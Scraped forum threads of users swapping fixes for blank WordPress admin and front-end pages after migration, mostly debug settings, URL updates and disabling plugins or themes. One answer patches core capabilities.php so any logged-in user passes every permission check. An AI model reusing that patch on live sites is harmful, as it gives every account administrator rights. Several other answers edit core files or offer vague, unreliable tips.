somehow the 'live' wp-config.php had been replaced with a file size of zero.
It seems that it is very important to have an off-line backup
The easy way to copy of the files is Filezilla (freeware)
You need a wordpress plugin for database backup - ie to back up all your pages and posts.
But the pros will tell you that you need to get a
Peter
All your problem is solved right now just follow this instruction:
go to your themes then de activate your current theme, just put "x" in the the first letter of your theme name.
for example this is your theme folder name: "mytheme" just put "x" in the first letter like this "xmytheme" tho di activate.
Then after that go back to your wp-admin panel then BOOM! wp-admin accessable.
When you access your wp-admin panel or you are on your dashboard, again activate your theme again, but before that. REMOVE THE "X" letter you putted in your theme name.
example: "xmytheme" just remove "x", output like this: "mytheme"
then activate it in your dashboard.
hope this help!.
In my case, I was able to see the backend, but in my front I was getting a blank page...
Nothing about debugging and disabling themes/plugins was useful...
After some research, I've realized that my index.php (located at the root directory, not the theme's one) was empty!
The only content was a message saying Silence is golden.
Using a backup I had, I could get back my original index.php and get the site working again.
It might be because of a few reasons:
Problems in your web host.
Theme related errors(You can change it by renaming theme folder).
Plugin related errors(You can change it by renaming plugin folder).
An Empty line in your wp-config file.
Code errors that can be seen by enabling Debug mode.
"define('WP_DEBUG', true);
// Enable Debug logging to the /wp-content/debug.log file
define( 'WP_DEBUG_LOG', true );
// Disable display of errors and warnings
define( 'WP_DEBUG_DISPLAY', false );
#ini_set( 'display_errors', 0 );"
Remove blank space in functions.php or you can also remove the last "?>"
I ran into the same problem a few minutes ago, the problem was when I uploaded my local theme I had a bunch of tags separating each function I had in there I solved this by putting all the functions in one php tag... Hope this helps.
I had this problem (not showing /wp-admin/), when I moved my site to new host. i solve this problem by:
1. Re mane activated theme's folder
2. Install that them again and active it
3. copy and re place some customized file like .css .js from backup
Now problem solved.
I just had this and it was a file / directory ownership issue.
Fixed via SSH and changing the ownership recursively (-R):
chown -R ownerID:groupID /home/mydirectory/website
Change ownerID, groupID and filepath to be relevant to your own situation.
Just reset the password, this will work.
I was also facing same problem but i renamed contact-form-7 plugin from /wp-content/plugins directory to contact-form-7-rename and problem solved.
So this is due to unsupportable plugins or theme.
That white screen of death happened to my blog, and what I did was that I renamed the theme and plugin, and everything was back to normal.
In my case, wp-admin/post.php blank screen was fixed by removing the " ?> " at the end of my function.php in my child theme. I don't know how the end tag ended in there, but removing it solved my problems.
Just visit the plugins folder and delete the last plugin you uploaded and should do the trick.
I found following solution working as I was using older version of wordpress.
Open file blog/wp-admin/includes/screen.php in your favorite text
editor.
on line 706 find the following PHP statement: <?php echo self::$this->_help_sidebar; ?>
Replace it with the statement: <?php echo $this->_help_sidebar; ?>
Save your changes.
i have wasted a lot of time to solve it , But the only solution i find is to rename your word press plugins folder and active theme , and your wp-admin will be visible , so then you can change and check for suspected plugin or theme.
first of all check your internet its connect!
second is turn on WP_DEBUG and write this codes in wp-config.php
define('WP_DEBUG',true);
error_reporting('E_ALL');
ini_set('display_errors',1);
third is rename themes and plugins folder that in wp-content folder to other name sush as
pluginss , themess
S F my english!
Had this same issue after changing the PHP version from 5.6 to 7.3 (eaphp73). So what I did was I simply changed the version to alt-php74.
So what's the problem? Probably a plugin that relied on a certain PHP extension that wasn't available on eaphp73.
Before you touch any wordpress files, just try changing your site's PHP version. You can do this in the cPanel.
And if that doesn't work, go back into the cPanel and activate every PHP extension there is. And if your site starts working at this stage, then it's probably an extension it couldn't function without. Now slowly work backwards deactivating (one at a time) ONLY the extensions you just activated.
You should be able to figure out which extension was the required feature.
Can it be a plugin that's causing the issue? Certainly. Maybe the rogue plugin just wanted that extra extension.
If changing the PHP version, and juggling with the PHP extensions didn't work, then try renaming (which automatically deactivates) one plugin folder at a time.
I have experienced the same problem as well. The reason was, that the functions.php was configured wrongly.
I did the following to solve the problem:
In my child theme, I backed up all my files
Then I deleted all of them leaving only the style.css page.
I could then log in.
On reloading my functions.php I found it was the culprit. I rewrote the php and it was fine.
My case was that I had generated code for three custom content types and then just pasted all the code in functions.php without renaming the "function custom_post_type" part of each function. After renaming like e.g "function employees", it worked like a charm....it displayed.

After migration of WordPress website I can't access the admin (white page)

I am trying to move a WordPress site from my local server to the online server.
The problem is that, after the migration, if I try to open the administration page (wp-admin) I only obtain a white page, as you can see here: http://scorejava.com/wordpress/wp-admin/. Everything else seems work well in the homepage: http://scorejava.com/wordpress/.
In my local web server I have the WP site into the folder: /var/www/wordpress. I have moved it into a wordpress folder that is into my root directory of my online web server.
I have also import the local database into the onlyne database using MySql and then I have use the Search and Replace for WordPress Databases Script to change automatically all the http://localhost/wordpress occurrence into the database tables with http://scorejava.com/wordpress/.
There is an error on your site, and you need to find out what's happening.
WordPress URLs
When migrating WordPress sites where the URL changes, you will need to tell WordPress about the new URL. WordPress stores that information in the database, so if you're comfortable with that, you could find the correct entry in the wp_options table in your database and update its value.
I will show some fixes for standard WordPress installs (where the site URL is the WordPress root), but you may need to use different values for home and siteurl if you have a different setup.
Fix URLs via SQL
You will need to update the relevant fields in the DB, those being the entries of wp_options where the option_name is siteurl or home. You can find these fields using phpmyadmin, mysql-workbench, or another database management tool, or you can use the following query, changing the URL to be your own.
UPDATE `wp_options` SET `option_value`='http://www.myurl.com' WHERE `option_name` IN ('siteurl', 'home');
Fix URLs via wp-config.php
However, you can also do this via wp-config.php, which I find to be much more comfortable. Just open wp-config.php and add the lines:
// Site URLS (override DB settings)
define('WP_HOME','http://www.myurl.com'); //<-- NO TRAILING /
define('WP_SITEURL','http://www.myurl.com'); //<-- NO TRAILING /
Obviously you'll need to supply your correct URL.
It's possible that this is the only error you're having, and after adding those lines to wp-config.php, you will be able to log in and use your site normally.
Debugging WordPress errors
However, if you continue to experience problems, and any time you're working on developing a website, you will want to see error output. You can check your server logs for information about the errors, but you may find it more convenient for WordPress to simply display the errors in the page. To enable error display, change the following setting to true in wp-config.php.
define('WP_DEBUG', true);
Now WordPress will display any errors it encounters directly in the webpage. Be sure to change the setting to false for use on a production site.
Working with wp-config.php
This file will be located in the root directory of your wordpress installation. To make any of the changes mentioned here, you may either edit the file directly on the server (via ssh for example), or download the file with an FTP client, make your changes using a text editor, and upload the file again.
It's also a good idea to keep a backup copy before making any changes in case you break something while you're working.
References
You can read all about changing the WordPress site URL on the docs page.
Late To the party, I've experienced this recently and I managed to solve the issue. Here is what I've done.
Step 1: Set WP_DEBUG to true from the wp-config.php file
Step 2: I tried domain.com/wp-login.php instead of domain.com/wp-admin by this I was able to get atleast login form and some errors of Warning: Cannot modify header information - headers already sent by
Step 3: I've added ob_start(); in wp-login.php file after <?php in first line, of course to get me in for a while.
Step 4: This trick worked. I've disabled all the plugins, and errors are gone.
Step 5: Activated all the plugins one by one to find which plugin is causing error, So that I can fix the error in particular plugin. Like there was one plugin adding style before wp_enqueque_style so I set it to a function and hook it properly.
There were some minor errors too like deprecated functions. Its up to you whether you want to correct it or use alternate plugin.
And Don't forget to remove ob_start from wp_login.php file. The core files should not be changed.
Hope this helps someone like me.
Inside your settings for your WordPress dashboard there are two fields named "WordPress address (URL)" and "Site address (URL)". These are also known as the "Home" and the "Site URL" settings for your website. The values need to match the server you're actually running on.
If you can't get to the admin, you can use phpmyadmin, go into your database, find the fields kin the wp_options table, and make sure they reflect your domain.
It should be enough in most of cases.
I've fought the dreaded "White Screen of Death" myself a few times. You can browse the threads at the Wordpress Support Site to glean some suggestions, or Google it for lots and lots of people's stories and advice dealing with these. I can't recommend a single, authoritative reference for this.
In most of my cases it was caused by whitespace after a closing ?> tag that got introduced because of changes in newline schemes between my dev and production servers, usually in a plugin.
You might also try putting Wordpress into debug mode or adding error_reporting(E_ALL); to the first line of your site's /wp-admin/admin.php file to see if these give you any hints.
I've personally been able to avoid these (touch wood) by using the XCloner plugin to make transfers between my Win dev machine and *nix production server.
Edit wp-content/themes/active-theme-folder/function.php and add this code just before:
<?php
define('WP_HOME','http://www.myurl.com'); //<-- NO TRAILING /
define('WP_SITEURL','http://www.myurl.com');
Add the below line into the wp-config.php file:
define('WP_HOME', 'http://' . $_SERVER['SERVER_NAME']);
define('WP_SITEURL', WP_HOME . '/');
In you wp-config.php file just above the line stop editing line add this line:
define('RELOCATE',true);
/* That's all, stop editing! Happy blogging. */
Then go to your login URL, refresh the page and log in.
IMPORTANT: If you can log in, then remove the RELOCATE line before preceding any further. Then navigate to:
Settings > General
Set your Wordpress URL and Site address to the correct locations:
WordPress Address (URL): http://example.com/wordpress
Site Address (URL): http://example.com/myblog
Press "Save".
In many cases when migrating files to a different server this issue arises simply because of a minor error in one of your PHP files. The error is additional characters after the closing?> PHP tag in the file. These may just be simple whitespace or returns but they can often be the cause of the white screen of death.
A primary culprit is the functions.php file in your WordPress theme. Take a look at it in a plain text file editor (often available with most hosting accounts) and ensure you delete any lines after the closing tag.
If it's not in this file use error reporting to identify the culprit file, it may be in a plugin or another file in your theme.
As mentioned by Jon Surrell enable error display, change the following setting to true in wp-config.php.
define('WP_DEBUG', true);
I had the same problem after migrating to a local server.
A first attempt failed because there were many hardcoded filepaths in the database.
So I tried again and took care to create the same path as on the live server and the same hostname and databasename. Now the website was good but wp-login gave a white screen.
With wp-debug I found that the problem was caused by wp-super-cache plugin that had a full filepath hardcoded in the config.php
Changing this path to the full local path did the trick.
These are the steps I usually follow.
Upload files and database.
Set the correct file permissions.
Update the database configurations in the wp-config.php file to match the server db login.
Update the wp_options table for updating the site url and home url.
If everything goes well you should be able to login to the admin using the wp-login.php as the url.
The first thing next to do is to go to the permalinks and click save it will automatically update the .htaccess file. If there is no write permisson it will show you can copy it and edit the file via ftp.
Next thing you can easily update all the urls safetly with a plugin named velvet urls . Using it for many years. It will update all other urls in the database.
All these steps will be enough if everything goes correctly.
If you get a blank page or something you can turn on the error reporting and write the logs from the wp config file itself. You can try some of these to debug.
Just remove plugins from the folders one by one.
Remove the custom theme which you are using.
Unless you edited the core files mostly it will solve the issue. Only other chance is the version mismatch for php or mysql that is also very important thing to note while migrating. Hope this helps someone.
I'm adding this answer to the fray, in the hope, it might help somebody else. I followed all of the advice above to no avail. I actually had to hack the PHP files to force my administrator to have access to the panel. It's through the panel that I discovered that my administrator account was not assigned the administrator role.
This is my hack to "wp-includes/capabilities.php"
function current_user_can( $capability ) {
$current_user = wp_get_current_user();
if ( empty( $current_user ) ) {
return false;
}
return true; // HACK to get superuser power to any logged in user
$args = array_slice( func_get_args(), 1 );
$args = array_merge( array( $capability ), $args );
return call_user_func_array( array( $current_user, 'has_cap' ), $args );
}
This allowed the Administrator Panel to appear, with access to https://example.com/wp-admin/users.php and then I could assign the role. I then unhacked the capabilities.php to ensure all users had the correct rights, now that I had "Administrator" assigned to me.
everyone. A few days ago I ported by BlogVault the WordPress multisite instance. The process went smoothly, the sites worked as needed. But I could not get into the console, allways got the error "Your browser does not support cookies, please enable them and try again". I spent several days researching and figured out that the error occurs due to an entry in the code of the page "wp_options".
The original site uses the line
define ('COOKIE_DOMAIN', strtolower (stripslashes ($ _SERVER ['HTTP_HOST'])));
but the new server uses the line
define ('COOKIE_DOMAIN', mydomain.com);"
Replacing lines of code solved the problem. Hope this help somebody)
It's maybe a late replay, but hope it will help someone else.
In my case here are steps I used to resolve the issue.
Edit the wp-config.php file from your WordPress project root and change define('WP_DEBUG', true); instead of false.
Upload the same file to the project root for the new server.
Try to log in same as previously like www.yourDomain.com/wp-admin - Hope now you are able to login the backend admin
Go to settings -> Permalinks - under common settings - choose the radio button plan then click SAVE button for a sake, then again choose day and name SAVE again, don't forget to click save, got back your domain and check your site, the inner pages should work perfectly fine.
Go back to wp-config.php and revert the value to false and upload again.
That's it.
I am not a wordpress developer but the above solution was perfectly fine for me and didn't find anywhere it's explained properly.

Index page coming blank after make a new installation in server in wordpress 3.3.1

I make a new installation in my server and able to login with wp-admin.
I activate the theme from my wp-admin but when i visit my site it shows me as empty page , i am unable to find out the problem .
What is solutions for this type of error.
There is a PHP error somewhere causing your WP to white screen.
Put WP into debug mode by adding this line to your wp-config.php
define('WP_DEBUG', true);
You should now see some sort of output on the page, update your question if you still can't work it out from this information.
If it's a brand-new server, make sure there aren't any index.html/index.htm files lurking in the root of the website.
Try just using the default 2011 theme. If it loads up fine, then you have a problem with your theme.
You might also check for whitespace before <?php and after ?> in wp-config.php and your theme's functions.php file.
Put php.ini file in both front and back end. that will be work definitely..
hope it helps.. Let me know

Categories